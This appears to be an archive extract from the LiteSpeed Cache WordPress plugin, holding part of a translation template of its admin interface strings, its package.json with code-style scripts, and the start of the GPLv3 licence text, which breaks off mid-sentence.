#: tpl/presets/standard.tpl.php:47
msgid "JS Defer for both external and inline JS"
msgstr ""

#: tpl/presets/standard.tpl.php:48
msgid "DNS Prefetch for static files"
msgstr ""

#: tpl/presets/standard.tpl.php:50
msgid "Remove Query Strings from Static Files"
msgstr ""

#: tpl/presets/standard.tpl.php:55
msgid "This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools."
msgstr ""

#: tpl/presets/standard.tpl.php:56
#: tpl/presets/standard.tpl.php:70
msgid "A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores."
msgstr ""

#: tpl/presets/standard.tpl.php:60
msgid "Aggressive"
msgstr ""

#: tpl/presets/standard.tpl.php:62
msgid "Everything in Advanced, Plus"
msgstr ""

#: tpl/presets/standard.tpl.php:63
msgid "CSS & JS Combine"
msgstr ""

#: tpl/presets/standard.tpl.php:64
msgid "Asynchronous CSS Loading with Critical CSS"
msgstr ""

#: tpl/presets/standard.tpl.php:65
msgid "Removed Unused CSS for Users"
msgstr ""

#: tpl/presets/standard.tpl.php:66
msgid "Lazy Load for Iframes"
msgstr ""

#: tpl/presets/standard.tpl.php:69
msgid "This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning."
msgstr ""

#: tpl/presets/standard.tpl.php:74
msgid "Extreme"
msgstr ""

#: tpl/presets/standard.tpl.php:76
msgid "Everything in Aggressive, Plus"
msgstr ""

#: tpl/presets/standard.tpl.php:77
msgid "Lazy Load for Images"
msgstr ""

#: tpl/presets/standard.tpl.php:78
msgid "Viewport Image Generation"
msgstr ""

#: tpl/presets/standard.tpl.php:79
msgid "JS Delayed"
msgstr ""

#: tpl/presets/standard.tpl.php:80
msgid "Inline JS added to Combine"
msgstr ""

#: tpl/presets/standard.tpl.php:81
msgid "Inline CSS added to Combine"
msgstr ""

#: tpl/presets/standard.tpl.php:84
msgid "This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images."
msgstr ""

#: tpl/presets/standard.tpl.php:85
msgid "A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores."
msgstr ""

#: tpl/presets/standard.tpl.php:92
msgid "LiteSpeed Cache Standard Presets"
msgstr ""

#: tpl/presets/standard.tpl.php:96
msgid "Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between."
msgstr ""

#: tpl/presets/standard.tpl.php:121
msgid "Who should use this preset?"
msgstr ""

#: tpl/presets/standard.tpl.php:131
msgid "This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?"
msgstr ""

#: tpl/presets/standard.tpl.php:133
msgid "Apply Preset"
msgstr ""

#: tpl/presets/standard.tpl.php:152
msgid "unknown"
msgstr ""

#: tpl/presets/standard.tpl.php:163
msgid "History"
msgstr ""

#: tpl/presets/standard.tpl.php:173
msgid "Error: Failed to apply the settings %1$s"
msgstr ""

#: tpl/presets/standard.tpl.php:175
msgid "Restored backup settings %1$s"
msgstr ""

#: tpl/presets/standard.tpl.php:178
msgid "Applied the %1$s preset %2$s"
msgstr ""

#: tpl/presets/standard.tpl.php:189
msgid "Backup created %1$s before applying the %2$s preset"
msgstr ""

#: tpl/presets/standard.tpl.php:193
msgid "This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?"
msgstr ""

#: tpl/presets/standard.tpl.php:195
msgid "Restore Settings"
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:34
msgid "Try GitHub Version"
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:41
msgid "LiteSpeed Cache is disabled. This functionality will not work."
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:46
msgid "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below."
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:55
msgid "Use latest GitHub Dev commit"
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:59
msgid "Use latest GitHub Master commit"
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:63
#: tpl/toolbox/beta_test.tpl.php:79
msgid "Use latest WordPress release version"
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:63
msgid "OR"
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:71
msgid "Downgrade not recommended. May cause fatal error due to refactored code."
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:76
msgid "Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing."
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:76
msgid "Use latest GitHub Dev/Master commit"
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:79
msgid "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory."
msgstr ""

#: tpl/toolbox/beta_test.tpl.php:83
msgid "In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions."
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:41
msgid "LiteSpeed Cache View .htaccess"
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:46
msgid ".htaccess Path"
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:53
msgid "Frontend .htaccess Path"
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:58
#: tpl/toolbox/edit_htaccess.tpl.php:76
msgid "Default path is"
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:62
#: tpl/toolbox/edit_htaccess.tpl.php:80
msgid "PHP Constant %s is supported."
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:63
#: tpl/toolbox/edit_htaccess.tpl.php:81
msgid "You can use this code %1$s in %2$s to specify the htaccess file path."
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:71
msgid "Backend .htaccess Path"
msgstr ""

#: tpl/toolbox/edit_htaccess.tpl.php:91
msgid "Current %s Contents"
msgstr ""

#: tpl/toolbox/entry.tpl.php:24
msgid "View .htaccess"
msgstr ""

#: tpl/toolbox/entry.tpl.php:28
msgid "Heartbeat"
msgstr ""

#: tpl/toolbox/entry.tpl.php:29
msgid "Report"
msgstr ""

#: tpl/toolbox/entry.tpl.php:33
#: tpl/toolbox/settings-debug.tpl.php:55
msgid "Debug Settings"
msgstr ""

#: tpl/toolbox/entry.tpl.php:34
msgid "Log View"
msgstr ""

#: tpl/toolbox/entry.tpl.php:35
msgid "Beta Test"
msgstr ""

#: tpl/toolbox/entry.tpl.php:41
msgid "LiteSpeed Cache Toolbox"
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:19
msgid "Heartbeat Control"
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:26
msgid "Disable WordPress interval heartbeat to reduce server load."
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:28
msgid "Disabling this may cause WordPress tasks triggered by AJAX to stop working."
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:43
msgid "Turn ON to control heartbeat on frontend."
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:56
#: tpl/toolbox/heartbeat.tpl.php:86
#: tpl/toolbox/heartbeat.tpl.php:116
msgid "Specify the %s heartbeat interval in seconds."
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:57
#: tpl/toolbox/heartbeat.tpl.php:87
#: tpl/toolbox/heartbeat.tpl.php:117
msgid "WordPress valid interval is %s seconds."
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:58
#: tpl/toolbox/heartbeat.tpl.php:88
#: tpl/toolbox/heartbeat.tpl.php:118
msgid "Set to %1$s to forbid heartbeat on %2$s."
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:73
msgid "Turn ON to control heartbeat on backend."
msgstr ""

#: tpl/toolbox/heartbeat.tpl.php:103
msgid "Turn ON to control heartbeat in backend editor."
msgstr ""

#: tpl/toolbox/import_export.tpl.php:19
msgid "Export Settings"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:25
msgid "Export"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:31
msgid "Last exported"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:36
msgid "This will export all current LiteSpeed Cache settings and save them as a file."
msgstr ""

#: tpl/toolbox/import_export.tpl.php:40
msgid "Import Settings"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:48
msgid "Import"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:54
msgid "Last imported"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:59
msgid "This will import settings from a file and override all current LiteSpeed Cache settings."
msgstr ""

#: tpl/toolbox/import_export.tpl.php:63
msgid "Reset All Settings"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:67
msgid "This will reset all settings to default settings."
msgstr ""

#: tpl/toolbox/import_export.tpl.php:70
msgid "Are you sure you want to reset all settings back to the default settings?"
msgstr ""

#: tpl/toolbox/import_export.tpl.php:71
msgid "Reset Settings"
msgstr ""

#: tpl/toolbox/log_viewer.tpl.php:23
msgid "Purge Log"
msgstr ""

#: tpl/toolbox/log_viewer.tpl.php:28
msgid "Crawler Log"
msgstr ""

#: tpl/toolbox/log_viewer.tpl.php:35
msgid "LiteSpeed Logs"
msgstr ""

#: tpl/toolbox/log_viewer.tpl.php:46
#: tpl/toolbox/log_viewer.tpl.php:75
msgid "Clear Logs"
msgstr ""

#: tpl/toolbox/log_viewer.tpl.php:64
#: tpl/toolbox/report.tpl.php:62
msgid "Click to copy"
msgstr ""

#: tpl/toolbox/log_viewer.tpl.php:65
msgid "Copy Log"
msgstr ""

#: tpl/toolbox/purge.tpl.php:17
msgid "Purge Front Page"
msgstr ""

#: tpl/toolbox/purge.tpl.php:18
msgid "This will Purge Front Page only"
msgstr ""

#: tpl/toolbox/purge.tpl.php:23
msgid "Purge Pages"
msgstr ""

#: tpl/toolbox/purge.tpl.php:24
msgid "This will Purge Pages only"
msgstr ""

#: tpl/toolbox/purge.tpl.php:32
msgid "Purge %s Error"
msgstr ""

#: tpl/toolbox/purge.tpl.php:33
msgid "Purge %s error pages"
msgstr ""

#: tpl/toolbox/purge.tpl.php:41
msgid "Purge the LiteSpeed cache entries created by this plugin"
msgstr ""

#: tpl/toolbox/purge.tpl.php:48
msgid "This will purge all minified/combined CSS/JS entries only"
msgstr ""

#: tpl/toolbox/purge.tpl.php:56
msgid "Purge all the object caches"
msgstr ""

#: tpl/toolbox/purge.tpl.php:65
msgid "Reset the entire opcode cache"
msgstr ""

#: tpl/toolbox/purge.tpl.php:74
msgid "This will delete all generated critical CSS files"
msgstr ""

#: tpl/toolbox/purge.tpl.php:83
msgid "This will delete all generated unique CSS files"
msgstr ""

#: tpl/toolbox/purge.tpl.php:92
msgid "This will delete all localized resources"
msgstr ""

#: tpl/toolbox/purge.tpl.php:101
msgid "This will delete all generated image LQIP placeholder files"
msgstr ""

#: tpl/toolbox/purge.tpl.php:110
msgid "This will delete all cached Gravatar files"
msgstr ""

#: tpl/toolbox/purge.tpl.php:118
msgid "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches"
msgstr ""

#: tpl/toolbox/purge.tpl.php:127
msgid "Empty Entire Cache"
msgstr ""

#: tpl/toolbox/purge.tpl.php:128
msgid "Clears all cache entries related to this site, including other web applications."
msgstr ""

#: tpl/toolbox/purge.tpl.php:128
msgid "This action should only be used if things are cached incorrectly."
msgstr ""

#: tpl/toolbox/purge.tpl.php:132
msgid "This will clear EVERYTHING inside the cache."
msgstr ""

#: tpl/toolbox/purge.tpl.php:132
msgid "This may cause heavy load on the server."
msgstr ""

#: tpl/toolbox/purge.tpl.php:132
msgid "If only the WordPress site should be purged, use Purge All."
msgstr ""

#: tpl/toolbox/purge.tpl.php:176
msgid "Purge By..."
msgstr ""

#: tpl/toolbox/purge.tpl.php:179
msgid "Select below for \"Purge by\" options."
msgstr ""

#: tpl/toolbox/purge.tpl.php:188
msgid "Category"
msgstr ""

#: tpl/toolbox/purge.tpl.php:192
msgid "Post ID"
msgstr ""

#: tpl/toolbox/purge.tpl.php:196
msgid "Tag"
msgstr ""

#: tpl/toolbox/purge.tpl.php:205
msgid "Purge pages by category name - e.g. %2$s should be used for the URL %1$s."
msgstr ""

#: tpl/toolbox/purge.tpl.php:208
msgid "Purge pages by post ID."
msgstr ""

#: tpl/toolbox/purge.tpl.php:211
msgid "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s."
msgstr ""

#: tpl/toolbox/purge.tpl.php:214
msgid "Purge pages by relative or full URL."
msgstr ""

#: tpl/toolbox/purge.tpl.php:215
msgid "e.g. Use %1$s or %2$s."
msgstr ""

#: tpl/toolbox/purge.tpl.php:225
msgid "Purge List"
msgstr ""

#: tpl/toolbox/report.tpl.php:38
msgid "Send to LiteSpeed"
msgstr ""

#: tpl/toolbox/report.tpl.php:40
msgid "Regenerate and Send a New Report"
msgstr ""

#: tpl/toolbox/report.tpl.php:48
msgid "To generate a passwordless link for LiteSpeed Support Team access, you must install %s."
msgstr ""

#: tpl/toolbox/report.tpl.php:51
msgid "Install DoLogin Security"
msgstr ""

#: tpl/toolbox/report.tpl.php:52
msgid "Go to plugins list"
msgstr ""

#: tpl/toolbox/report.tpl.php:58
msgid "LiteSpeed Report"
msgstr ""

#: tpl/toolbox/report.tpl.php:62
msgid "Last Report Number"
msgstr ""

#: tpl/toolbox/report.tpl.php:63
msgid "Last Report Date"
msgstr ""

#: tpl/toolbox/report.tpl.php:66
msgid "The environment report contains detailed information about the WordPress configuration."
msgstr ""

#: tpl/toolbox/report.tpl.php:68
msgid "If you run into any issues, please refer to the report number in your support message."
msgstr ""

#: tpl/toolbox/report.tpl.php:75
msgid "System Information"
msgstr ""

#: tpl/toolbox/report.tpl.php:87
msgid "Attach PHP info to report. Check this box to insert relevant data from %s."
msgstr ""

#: tpl/toolbox/report.tpl.php:96
msgid "Passwordless Link"
msgstr ""

#: tpl/toolbox/report.tpl.php:100
#: tpl/toolbox/report.tpl.php:102
msgid "Generate Link for Current User"
msgstr ""

#: tpl/toolbox/report.tpl.php:105
msgid "To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report."
msgstr ""

#: tpl/toolbox/report.tpl.php:107
msgid "Please do NOT share the above passwordless link with anyone."
msgstr ""

#. translators: %s: Link tags
#: tpl/toolbox/report.tpl.php:112
msgid "Generated links may be managed under %sSettings%s."
msgstr ""

#: tpl/toolbox/report.tpl.php:122
msgid "Notes"
msgstr ""

#: tpl/toolbox/report.tpl.php:126
msgid "Optional"
msgstr ""

#: tpl/toolbox/report.tpl.php:127
msgid "provide more information here to assist the LiteSpeed team with debugging."
msgstr ""

#: tpl/toolbox/report.tpl.php:139
msgid "Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:19
msgid "Debug Helpers"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:23
msgid "View Site Before Optimization"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:27
msgid "View Site Before Cache"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:37
msgid "Disable All Features for 24 Hours"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:44
msgid "Remove `Disable All Feature` Flag Now"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:48
msgid "LiteSpeed Cache is temporarily disabled until: %s."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:69
msgid "This will disable LSCache and all optimization features for debug purpose."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:80
msgid "Admin IP Only"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:82
msgid "Outputs to a series of files in the %s directory."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:83
msgid "To prevent filling up the disk, this setting should be OFF when everything is working."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:84
msgid "The Admin IP option will only output log messages on requests from admin IPs listed below."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:97
msgid "Allows listed IPs (one per line) to perform certain actions from their browsers."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:98
msgid "Your IP"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:104
msgid "More information about the available commands can be found here."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:119
msgid "Advanced level will log more details."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:130
msgid "MB"
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:132
msgid "Specify the maximum size of the log file."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:147
msgid "Shorten query strings in the debug log to improve readability."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:160
msgid "Only log listed pages."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:174
msgid "Prevent any debug log of listed pages."
msgstr ""

#: tpl/toolbox/settings-debug.tpl.php:188
msgid "Prevent writing log entries that include listed strings."
msgstr ""
litespeed-wp-plugin/7.5.0.1/litespeed-cache/package.json000064400000001664151031165260016564 0ustar00{
	"name": "litespeed-cache",
	"description": "High-performance page caching and site optimization from LiteSpeed",
	"license": "GPLv3",
	"scripts": {
		"format-check": "vendor/bin/phpcs --standard=phpcs.ruleset.xml cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php",
		"install-composer-packages": "composer require --dev squizlabs/php_codesniffer:^3.12 wp-coding-standards/wpcs:^3.1 dealerdirect/phpcodesniffer-composer-installer:^1.0 && vendor/bin/phpcs --config-set installed_paths vendor/wp-coding-standards/wpcs,vendor/phpcsstandards/phpcsutils,vendor/phpcsstandards/phpcsextra",
		"sniff-check": "vendor/bin/phpcs --standard=phpcs.ruleset.xml cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php",
		"wpformat": "vendor/bin/phpcbf --standard=phpcs.ruleset.xml cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php"
	},
	"devDependencies": {
		"@prettier/plugin-php": "^0.21.0",
		"prettier": "^3.0.3"
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/LICENSE000064400000104515151031165260015302 0ustar00                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
